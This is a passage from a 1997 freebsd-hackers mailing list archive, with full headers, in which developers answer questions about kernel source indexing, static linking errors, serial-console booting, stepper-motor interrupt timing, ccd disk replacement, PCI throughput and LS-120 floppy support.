From owner-freebsd-hackers Sun Oct 5 00:23:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA04150 for hackers-outgoing; Sun, 5 Oct 1997 00:23:41 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA04145 for ; Sun, 5 Oct 1997 00:23:34 -0700 (PDT) Received: from time.cdrom.com (localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id AAA01589; Sun, 5 Oct 1997 00:22:53 -0700 (PDT) To: mdean cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Kernel function index. In-reply-to: Your message of "Sat, 04 Oct 1997 23:45:27 PDT." Date: Sun, 05 Oct 1997 00:22:53 -0700 Message-ID: <1585.876036173@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk cd /usr/src make tags HTML=yes Then "man global" and everything it notes under SEE ALSO to gain a fuller understanding of how to use this powerful but slightly arcane tool. Jordan > Is there an easy way to index all of the functions and structs in the > kernel source tree? So that if I for instance want to know where the > bubba() function is defined or struct foo I can do somethnig to the extent > of a locate on the kernel sourcetext? > > > From owner-freebsd-hackers Sun Oct 5 00:39:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA04832 for hackers-outgoing; Sun, 5 Oct 1997 00:39:02 -0700 (PDT) Received: from thelab.hub.org (ppp-146.halifax-01.ican.net [206.231.248.146]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA04827 for ; Sun, 5 Oct 1997 00:38:54 -0700 (PDT) Received: from thelab.hub.org (localhost [127.0.0.1]) by thelab.hub.org (8.8.7/8.8.2) with SMTP id EAA04043 for ; Sun, 5 Oct 1997 04:38:48 -0300 (ADT) Date: Sun, 5 Oct 1997 04:38:48 -0300 (ADT) From: The Hermit Hacker To: hackers@freeBSD.org Subject: static vs dynamic compiling... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freeBSD.org X-Loop: FreeBSD.org Precedence: bulk Hi... I'm curious as to why I get the following error when attempting to compile using -static: gcc -static pg_dump.o common.o -o pg_dump -L../../interfaces/libpq -lpq \ -L/usr/local/lib -lcrypt -lcompat -lln -lm -lreadline -ltermcap \ -lcurses ld: No reference to __DYNAMIC gmake: *** [pg_dump] Error 1 If I do a simple program (hello world) this does work... I realize that this is probably a really simple question, but I generally just compile using the 'default' of 'dynamic' and not worry about it, but I'm trying to make a static binary that I can run on another FreeBSD system, of a different release :( Thanks for any help, in advance... Marc G. Fournier Systems Administrator @ hub.org primary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org From owner-freebsd-hackers Sun Oct 5 01:09:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA06006 for hackers-outgoing; Sun, 5 Oct 1997 01:09:27 -0700 (PDT) Received: from vipunen.hut.fi (root@vipunen.hut.fi [130.233.224.20]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA06000; Sun, 5 Oct 1997 01:09:20 -0700 (PDT) Received: from dol-guldur.hut.fi (will@dol-guldur.hut.fi [130.233.224.39]) by vipunen.hut.fi (8.8.7/8.8.7) with ESMTP id LAA181176; Sun, 5 Oct 1997 11:09:16 +0300 Received: (will@localhost) by dol-guldur.hut.fi (8.8.3/8.6.7) id LAA22601; Sun, 5 Oct 1997 11:09:15 +0300 (EET DST) Date: Sun, 5 Oct 1997 11:09:15 +0300 (EET DST) Message-Id: <199710050809.LAA22601@dol-guldur.hut.fi> From: Ville-Pertti Keinonen To: Stefan Esser Cc: freebsd-hackers@freebsd.org Subject: Re: Conflicting I/O address spaces -- caused by...? In-Reply-To: <19971003104948.15501@mi.uni-koeln.de> References: <199709281110.OAA04780@dol-guldur.hut.fi> <19970929084523.37780@mi.uni-koeln.de> <199710021848.VAA31187@dol-guldur.hut.fi> <19971003104948.15501@mi.uni-koeln.de> Reply-To: will@iki.fi Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Stefan Esser writes: > > It seemed to always hang within less than a minute while accessing a > > SCSI disk when I had it enabled... > This was with the old PCI BIOS ? Yes... > Since accesses to the S3 card will no longer be seen by > the Adaptec, now that it got reasonable port addresses, > it should work a lot better now :) No, the only thing that accessed the conflicting ports was the X server and that would freeze up the machine immediately, anyhow. AHC_ALLOW_MEMIO still breaks the kernel for my mb/adapter combination. It boots fine but a make world fails at about the point when I type "make world"... From owner-freebsd-hackers Sun Oct 5 01:49:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA07444 for hackers-outgoing; Sun, 5 Oct 1997 01:49:58 -0700 (PDT) Received: from word.smith.net.au (ppp20.portal.net.au [202.12.71.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA07437 for ; Sun, 5 Oct 1997 01:49:43 -0700 (PDT) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id SAA00411; Sun, 5 Oct 1997 18:16:39 +0930 (CST) Message-Id: <199710050846.SAA00411@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: mdean cc: freebsd-hackers@freebsd.org Subject: Re: A world of unexplored pain. In-reply-to: Your message of "Sat, 04 Oct 1997 23:25:44 MST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 05 Oct 1997 18:16:36 +0930 From: Mike Smith Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > Please stop me if I am about to waste my time doing something that just > isn't possible. I have received a lot of conflicting arguments on > wheter or not the following is possible (more importantly will it function > as designed). What I need is one or more 0-500Hz Square Waves generated at > the output pins of and 8255 PPi. It is unlikely that you will be able to do this adequately, but probably worth trying just as an educational lesson. Bear in mind that while parts of the kernel are running with interrupts masked off, your code cannot run and your stepper pattern will suffer. > called. One reason to use a comuputer to do this instead of a custom > controller is co$t the other is complexity. To properly control the motors > the pulse train must be scaled from 0 to 500Hz and back down as it slows. This is a standard feature on any halfway-decent stepper control board. [HC11 stuff follows] > This is not a standard feature on the 68hc11 even though it has nearly > everything but the kitchen sink built in. > With a freebsd machine I am likely to be able to accomplish this and also > set it up as a system where the target position can be changed in realtime, > thus making it possible to cancel a command. I just cannot do this with the > embedded equipment I have available (mc68hc11) because a) rti on the 68hc11 > don't run faster than 500hz (you need 1000hz for a 500hz square wave) and Uh, excuse me. A 1kHz interrupt gives you 2000 machine cycles between interrupts. I don't know quite how bloated your code _is_, but you can certainly fit a lot in there. > b) if the routine was dedicated then the rs232/485 interrupt would possibly > cause a lot of jitter taking the commands while scaling the output. You should re-read the HC11 reference, particularly the section where they discuss interrupt priority. > I guess Ideally I should combine AtoD drivers and digital > output drivers into one so that they may share the same interrupt routine, No. Keep your functions separate. > the real question for me is: If I use acquire_timer0(1000, myintr) what > kind of jitter should I expect in delivery of those interrupts, i.e how far > off center will myintr() get called from the every 1/1000 of a second mark? This depends on what other interrupt and clock-sensitive activity is going on; several milliseconds is not an unreasonable figure. mike From owner-freebsd-hackers Sun Oct 5 01:52:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA07515 for hackers-outgoing; Sun, 5 Oct 1997 01:52:27 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id BAA07508 for ; Sun, 5 Oct 1997 01:52:22 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id KAA00535 for freebsd-hackers@freefall.FreeBSD.org; Sun, 5 Oct 1997 10:52:20 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id KAA29026; Sun, 5 Oct 1997 10:49:23 +0200 (MET DST) Message-ID: <19971005104923.RP46989@uriah.heep.sax.de> Date: Sun, 5 Oct 1997 10:49:23 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@freefall.FreeBSD.org Subject: Re: r-cmds and DNS and /etc/host.conf - *resolved* References: <199710022116.RAA15045@lakes.dignus.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199710022116.RAA15045@lakes.dignus.com>; from Thomas David Rivers on Oct 2, 1997 17:16:12 -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Thomas David Rivers wrote: > When I fixed up my .rhosts - *poof* - all of my problems disappeared. > > Thanks for the wonderful suggestion J"org! Glad to hear it helped. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Oct 5 01:53:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA07561 for hackers-outgoing; Sun, 5 Oct 1997 01:53:00 -0700 (PDT) Received: from word.smith.net.au (ppp20.portal.net.au [202.12.71.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA07553 for ; Sun, 5 Oct 1997 01:52:54 -0700 (PDT) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id SAA00428; Sun, 5 Oct 1997 18:19:56 +0930 (CST) Message-Id: <199710050849.SAA00428@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: mdean cc: freebsd-hackers@freebsd.org Subject: Re: Interrupt Handling In-reply-to: Your message of "Sat, 04 Oct 1997 18:33:03 MST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 05 Oct 1997 18:19:55 +0930 From: Mike Smith Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk This question belongs on -hardware. Please note we have just finished going through this whole business, so forgive me if I am abrupt. > How do you handle devices with tristate interrupts. I guess this means > that they can share a single IRQ line with other devices, I think this is > also called wired-OR. Don't guess. Try asking questions that mean something. Literally, "you don't", and "no they can't". Wired-OR and tristate are not the same thing. mike From owner-freebsd-hackers Sun Oct 5 01:54:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA07645 for hackers-outgoing; Sun, 5 Oct 1997 01:54:59 -0700 (PDT) Received: from word.smith.net.au (ppp20.portal.net.au [202.12.71.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA07638 for ; Sun, 5 Oct 1997 01:54:44 -0700 (PDT) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id SAA00452; Sun, 5 Oct 1997 18:21:11 +0930 (CST) Message-Id: <199710050851.SAA00452@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Harlan Stenn cc: chad@dcfinc.com, freebsd-hackers@FreeBSD.ORG Subject: LS-120 pricing (was Re: new floppy driver) In-reply-to: Your message of "Sat, 04 Oct 1997 22:04:45 -0300." <5656.876017085@mumps.pfcs.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 05 Oct 1997 18:21:10 +0930 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > We got the "intro pricing" blurb on these, and I'm still not sure if we > can order several or just one of each model at the "intro pricing". List for them is AUD$189ex here (internal). > I *did* notice that no mention was made of the price of the diskettes... AUD$22 here; expect them to be cheap. mike From owner-freebsd-hackers Sun Oct 5 02:18:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA08639 for hackers-outgoing; Sun, 5 Oct 1997 02:18:20 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA08630 for ; Sun, 5 Oct 1997 02:17:59 -0700 (PDT) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id KAA11200; Sun, 5 Oct 1997 10:16:34 +0100 (BST) Message-Id: <199710050916.KAA11200@awfulhak.demon.co.uk> X-Mailer: exmh version 2.0zeta 7/24/97 To: Simon Shapiro cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Minor error (?) in regex.h In-reply-to: Your message of "Sat, 04 Oct 1997 19:30:44 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 05 Oct 1997 10:16:34 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Hi Y'all, > > Struggling along with the GIMP (I am a masochist :-), it seems as if > /usr/include/regex.h really needs #include to compile. > Should it be included? The stuff in /usr/include isn't meant to be standalone - it's a hysterically religious thing. > --- > > > Sincerely Yours, > > Simon Shapiro Atlas Telecom > Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 > Shimon@i-Connect.Net Voice: 503.799.2313 -- Brian , , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sun Oct 5 02:29:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA09053 for hackers-outgoing; Sun, 5 Oct 1997 02:29:44 -0700 (PDT) Received: from word.smith.net.au (ppp20.portal.net.au [202.12.71.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA09048 for ; Sun, 5 Oct 1997 02:29:36 -0700 (PDT) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id SAA00612; Sun, 5 Oct 1997 18:56:24 +0930 (CST) Message-Id: <199710050926.SAA00612@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Alfred Perlstein cc: hackers@freebsd.org Subject: Re: help with serial boot? In-reply-to: Your message of "Sat, 04 Oct 1997 19:10:44 EST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 05 Oct 1997 18:56:23 +0930 From: Mike Smith Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > sending data over via "cat somefile > /dev/ttyd1" works as well as in the > opposite direction, but i was unable to decypher the commands to the > "boot:" > prompt enough for me to get the boot to come across the serial line... Specify '-h' at the boot: prompt, and set the flags for the serial port you want to be the console according to the 'sio' manpage. mike From owner-freebsd-hackers Sun Oct 5 04:21:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA13557 for hackers-outgoing; Sun, 5 Oct 1997 04:21:18 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id EAA13550 for ; Sun, 5 Oct 1997 04:21:11 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id NAA01983; Sun, 5 Oct 1997 13:21:10 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id NAA29787; Sun, 5 Oct 1997 13:20:12 +0200 (MET DST) Message-ID: <19971005132012.TX35965@uriah.heep.sax.de> Date: Sun, 5 Oct 1997 13:20:12 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: perlsta@cs.sunyit.edu (Alfred Perlstein) Subject: Re: booting via serial device? References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Alfred Perlstein on Oct 4, 1997 13:18:01 -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Alfred Perlstein wrote: > am i using the wrong boot flags? how do i tell it to use the second serial > port? > > if FreeBSD expecting the connection to be on the first serial port? Yes, it is. Read /sys/i386/isa/sio.c to see which #defines are required to change this, then rebuild your kernel and bootblocks. (Don't forget to re_install_ the bootblocks using disklabel -B!) > and what kind of terminal emulation should i use on the terminal, i think > ANSI is correct? right? The console itself is a plain teletype-like device, so the emulation should be not important. Once the system has booted, something like a VT100 emulation is certainly the best you could get. (Win.95's ``ANSI'' or maybe even ``VT100'' is a weak subset of this, mainly the arrow keys won't work right with a vt100 $TERM variable.) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Oct 5 04:38:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA14014 for hackers-outgoing; Sun, 5 Oct 1997 04:38:07 -0700 (PDT) Received: from bubble.didi.com (sjx-ca25-27.ix.netcom.com [204.30.65.219]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA14005 for ; Sun, 5 Oct 1997 04:38:03 -0700 (PDT) Received: (from asami@localhost) by bubble.didi.com (8.8.7/8.8.5) id EAA00727; Sun, 5 Oct 1997 04:38:31 -0700 (PDT) Date: Sun, 5 Oct 1997 04:38:31 -0700 (PDT) Message-Id: <199710051138.EAA00727@bubble.didi.com> To: kyle@heathers2.stdio.com CC: hackers@freebsd.org In-reply-to: (message from Kyle McPeek on Sat, 4 Oct 1997 16:02:48 -0400 (EDT)) Subject: Re: Replacing a drive in a ccd array... From: asami@cs.berkeley.edu (Satoshi Asami) Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk * I have thought about using dd to copy the data from the old drive to the * new one, will this work ok? If so, which device(s) should I copy from/to? Well, that will probably work, assuming the old drive can survive that. Try something like dd if=/dev/rsdXX of=/dev/rsdYY bs=2k where "XX" and "YY" are the numbers of corresponding drives. BTW, the above assumes the drives are identical models and thus you can just copy the whole thing bit-by-bit. If not, you will need to create a disklabel on the new drive and do a copy of the appropriate partitions (e.g., "/dev/rsd0g"). Satoshi From owner-freebsd-hackers Sun Oct 5 04:51:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA14377 for hackers-outgoing; Sun, 5 Oct 1997 04:51:06 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id EAA14371 for ; Sun, 5 Oct 1997 04:51:00 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id NAA02226; Sun, 5 Oct 1997 13:50:58 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id NAA29866; Sun, 5 Oct 1997 13:42:14 +0200 (MET DST) Message-ID: <19971005134214.NH30632@uriah.heep.sax.de> Date: Sun, 5 Oct 1997 13:42:14 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: scrappy@hub.org (The Hermit Hacker) Subject: Re: static vs dynamic compiling... References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from The Hermit Hacker on Oct 5, 1997 04:38:48 -0300 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As The Hermit Hacker wrote: > I'm curious as to why I get the following error when attempting > to compile using -static: > > gcc -static pg_dump.o common.o -o pg_dump -L../../interfaces/libpq -lpq \ > -L/usr/local/lib -lcrypt -lcompat -lln -lm -lreadline -ltermcap \ > -lcurses > ld: No reference to __DYNAMIC > gmake: *** [pg_dump] Error 1 Because dlopen(3) & friends are only available on dynamically linked binaries (in our a.out, as i understand it). -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Oct 5 04:56:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA14648 for hackers-outgoing; Sun, 5 Oct 1997 04:56:20 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id EAA14412; Sun, 5 Oct 1997 04:51:16 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id NAA02231; Sun, 5 Oct 1997 13:51:10 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id NAA29837; Sun, 5 Oct 1997 13:32:32 +0200 (MET DST) Message-ID: <19971005133231.BL43901@uriah.heep.sax.de> Date: Sun, 5 Oct 1997 13:32:31 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Cc: dcarmich@mcs.com, sos@FreeBSD.ORG Subject: Re: Update on accessibility w/FreeBSD References: <199710042136.QAA00718@dcarmich.pr.mcs.net> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199710042136.QAA00718@dcarmich.pr.mcs.net>; from Douglas Carmichael on Oct 4, 1997 16:36:45 -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Douglas Carmichael wrote: (Please, limit your line length to a reasonable value.) > One manufacturer of augmentative/alternative communication and > assistive devices (Prentke Romich Company (or PRC), > http://www.prentrom.com) makes a box that translates the infrared > output or RS-232 output of the communication device into standard > PS/2 keyboard/mouse signals. However, when I contacted PRC, the > only mention of UNIX support was for Sun systems (with their > HeadMaster alternate mouse): > The HeadMaster is compatible with the Sun workstation. It also emulates a > 2 button Microsoft mouse or a 3 button mouse systems mouse. Well, with a mouse systems mouse emulation, you should be able to work well. > 1) Make an on-screen keyboard that fits into the XKB framework and > injects keystrokes into the X server. X11 provides for a means called ``X Input Extension'' which is intended to map this kind of input devices. This extension is currently supported in XFree86 for several types of digitizers. Perhaps the HeadMaster could be supported this way as well? I'd suggest to pose this question to the XFree86 folks. (Sorry, i don't have a good idea myself how the HeaderMaster is working at all.) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Oct 5 08:31:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA25569 for hackers-outgoing; Sun, 5 Oct 1997 08:31:58 -0700 (PDT) Received: from punt-1.mail.demon.net (punt-1c.mail.demon.net [194.217.242.136]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id IAA25558 for ; Sun, 5 Oct 1997 08:31:53 -0700 (PDT) Received: from fdy2.demon.co.uk ([194.222.102.143]) by punt-1.mail.demon.net id aa1429326; 5 Oct 97 16:23 BST Received: (from rjs@localhost) by fdy2.demon.co.uk (8.8.7/8.6.12) id LAA00326; Sun, 5 Oct 1997 11:35:25 +0100 (BST) Date: Sun, 5 Oct 1997 11:35:25 +0100 (BST) From: Robert Swindells Message-Id: <199710051035.LAA00326@fdy2.demon.co.uk> To: babkin@hq.icb.chel.su CC: hackers@freebsd.org In-reply-to: <199710050539.LAA09048@hq.icb.chel.su> (babkin@hq.icb.chel.su) Subject: Re: PCI slowness ? Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > The chipset is Intel Triton on some chineese motherboard > with 75MHz Pentium, memory is 60ns EDO. > Theoretical PCI throughput is 33M > of 4-byte transfers per second (the card claims to work > in burst mode). Theoretical memory throughput is at least > 10M of 4-byte transfers per second if we suppose that > the memory cycle with all overhead is 100ns and the > card reads by 4 bytes at a time. But the experiment > shows throughput of only 17MBps or 4.25M of 4 byte > transfers. Does the processor eats all the remaining > throughput (although I think it must load most of the > code it runs at idling into the cache) ? I thought that a 75MHz Pentium ran the PCI bus at 25MHz, not 33MHz. Are you sure that the bus on your system is at 33MHz ? ------------------------------------- Robert Swindells - GenRad Ltd rjs@genrad.co.uk - Work rjs@fdy2.demon.co.uk - Home From owner-freebsd-hackers Sun Oct 5 08:39:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA25824 for hackers-outgoing; Sun, 5 Oct 1997 08:39:03 -0700 (PDT) Received: from hq.icb.chel.su (hq.icb.chel.su [193.125.10.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA25812 for ; Sun, 5 Oct 1997 08:38:51 -0700 (PDT) Received: (babkin@localhost) by hq.icb.chel.su (8.8.3/8.6.5) id VAA09237; Sun, 5 Oct 1997 21:40:11 +0600 (ESD) From: "Serge A. Babkin" Message-Id: <199710051540.VAA09237@hq.icb.chel.su> Subject: Re: PCI slowness ? To: rjs@fdy2.demon.co.uk (Robert Swindells) Date: Sun, 5 Oct 1997 21:40:11 +0600 (ESD) Cc: hackers@freebsd.org In-Reply-To: <199710051035.LAA00326@fdy2.demon.co.uk> from "Robert Swindells" at Oct 5, 97 11:35:25 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > > > The chipset is Intel Triton on some chineese motherboard > > with 75MHz Pentium, memory is 60ns EDO. > > Theoretical PCI throughput is 33M > > of 4-byte transfers per second (the card claims to work > > in burst mode). Theoretical memory throughput is at least > > 10M of 4-byte transfers per second if we suppose that > > the memory cycle with all overhead is 100ns and the > > card reads by 4 bytes at a time. But the experiment > > shows throughput of only 17MBps or 4.25M of 4 byte > > transfers. Does the processor eats all the remaining > > throughput (although I think it must load most of the > > code it runs at idling into the cache) ? > > I thought that a 75MHz Pentium ran the PCI bus at 25MHz, not 33MHz. > > Are you sure that the bus on your system is at 33MHz ? No, I am not. But the motherboard has possibility to generate 33MHz and if I were the designer of this card I would use this clock independently of the processor clock. -SB From owner-freebsd-hackers Sun Oct 5 09:37:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA28519 for hackers-outgoing; Sun, 5 Oct 1997 09:37:27 -0700 (PDT) Received: from kalypso.cybercom.net (kalypso.cybercom.net [209.21.136.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA28506 for ; Sun, 5 Oct 1997 09:37:23 -0700 (PDT) Received: from atlanta (ksmm@world-f.std.com [199.172.62.5]) by kalypso.cybercom.net (8.8.7/8.6.12) with SMTP id MAA11648 for ; Sun, 5 Oct 1997 12:36:28 -0400 (EDT) Message-Id: <3.0.3.32.19971005123236.00968d20@cybercom.net> X-Sender: ksmm@cybercom.net X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.3 (32) Date: Sun, 05 Oct 1997 12:32:36 -0400 To: freebsd-hackers@FreeBSD.ORG From: The Classiest Man Alive Subject: Re: new floppy driver In-Reply-To: <199710042356.QAA03731@freebie.dcfinc.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 04:56 PM 10/4/97 -0700, Chad R. Larson wrote: >Is anyone working on changes to the floppy driver to support the >new Imation LS-120? This is the drive that can use both the existing >1.44meg 3.5" floppies, and (using optical positioning) a new standard >120meg format. Does this drive work at all with FreeBSD or does it just have trouble with the high capacity media (i.e., does it work on 1.44 MB floppies)? K.S. From owner-freebsd-hackers Sun Oct 5 09:48:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA29102 for hackers-outgoing; Sun, 5 Oct 1997 09:48:48 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id JAA29097 for ; Sun, 5 Oct 1997 09:48:44 -0700 (PDT) Received: (qmail 6539 invoked by uid 1000); 5 Oct 1997 16:49:02 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha-092997 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199710050916.KAA11200@awfulhak.demon.co.uk> Date: Sun, 05 Oct 1997 09:49:02 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Brian Somers Subject: Re: Minor error (?) in regex.h Cc: freebsd-hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Brian Somers; On 05-Oct-97 you wrote: > > Hi Y'all, > > > > Struggling along with the GIMP (I am a masochist :-), it seems as if > > /usr/include/regex.h really needs #include to compile. > > Should it be included? > > The stuff in /usr/include isn't meant to be standalone - it's a > hysterically religious thing. Ah... One of those :-) I guess I am stuck... Cannot change my standing although I should. Oh, well... --- Sincerely Yours, Simon Shapiro Atlas Telecom Senior Architect 14355 